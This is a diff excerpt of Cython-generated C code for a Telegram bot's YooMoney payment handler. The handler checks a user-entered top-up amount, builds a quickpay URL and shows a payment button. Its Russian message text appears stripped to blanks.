= 0; + if (__pyx_t_5) { + + /* "handlers/payments/yoomoney_pay.py":191 + * amount = int(message.text) + * if amount <= 0: + * await message.answer( # <<<<<<<<<<<<<< + * " . , :" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__19}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 191, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 191, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":194 + * " . , :" + * ) + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yoomoney_pay.py":190 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * " . , :" + */ + } + + /* "handlers/payments/yoomoney_pay.py":196 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 196, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 196, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 196, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":197 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 197, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/yoomoney_pay.py":198 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 198, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 198, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_6}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 197, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 197, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 197, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":201 + * ) + * + * customer_id = message.chat.id # <<<<<<<<<<<<<< + * account_id = YOOMONEY_ID + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_customer_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":202 + * + * customer_id = message.chat.id + * account_id = YOOMONEY_ID # <<<<<<<<<<<<<< + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_account_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":203 + * customer_id = message.chat.id + * account_id = YOOMONEY_ID + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = 0; + __pyx_t_8 = 127; + __Pyx_INCREF(__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + __pyx_t_7 += 50; + __Pyx_GIVEREF(__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_https_yoomoney_ru_quickpay_confi); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_account_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_8; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_quickpay_form_shop_targets_sum); + __pyx_t_7 += 33; + __Pyx_GIVEREF(__pyx_kp_u_quickpay_form_shop_targets_sum); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u_quickpay_form_shop_targets_sum); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_8; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_paymentType_PC_comment_label); + __pyx_t_8 = (65535 > __pyx_t_8) ? 65535 : __pyx_t_8; + __pyx_t_7 += 49; + __Pyx_GIVEREF(__pyx_kp_u_paymentType_PC_comment_label); + PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_kp_u_paymentType_PC_comment_label); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_8; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_t_2); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 6, __pyx_t_7, __pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_payment_url = ((PyObject*)__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":205 + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/yoomoney_pay.py":206 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/yoomoney_pay.py":207 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_n_u__8) < 0) __PYX_ERR(0, 207, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 207, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_9); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_9)) __PYX_ERR(0, 207, __pyx_L1_error); + __pyx_t_9 = 0; + + /* "handlers/payments/yoomoney_pay.py":208 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = PyList_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_10); + if (__Pyx_PyList_SET_ITEM(__pyx_t_6, 0, __pyx_t_10)) __PYX_ERR(0, 208, __pyx_L1_error); + __pyx_t_10 = 0; + + /* "handlers/payments/yoomoney_pay.py":206 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_3)) __PYX_ERR(0, 206, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_6); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 1, __pyx_t_6)) __PYX_ERR(0, 206, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_10) < 0) __PYX_ERR(0, 206, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yoomoney_pay.py":205 + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_10; + __pyx_t_10 = 0; + + /* "handlers/payments/yoomoney_pay.py":212 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/yoomoney_pay.py":213 + * + * await message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = 0; + __pyx_t_8 = 127; + __Pyx_INCREF(__pyx_kp_u__9); + __pyx_t_8 = (65535 > __pyx_t_8) ? 65535 : __pyx_t_8; + __pyx_t_7 += 25; + __Pyx_GIVEREF(__pyx_kp_u__9); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__9); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_8) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_8; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_8 = (65535 > __pyx_t_8) ? 65535 : __pyx_t_8; + __pyx_t_7 += 8; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__10); + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_7, __pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yoomoney_pay.py":214 + * await message.answer( + * text=f" {amount} .", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * + */ + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":212 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 212, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L9_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 212, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 212, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":188 + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + goto __pyx_L4; + } + + /* "handlers/payments/yoomoney_pay.py":218 + * + * else: + * await message.answer(" . , :") # <<<<<<<<<<<<<< + */ + /*else*/ { + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_10 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_10, __pyx_kp_u__20}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 218, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 218, __pyx_L1_error) + } + } + } + __pyx_L4:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yoomoney_pay.py":186 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_AddTraceback("process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney[8]; +static int __pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney[--__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney]; + memset(o, 0, sizeof(struct 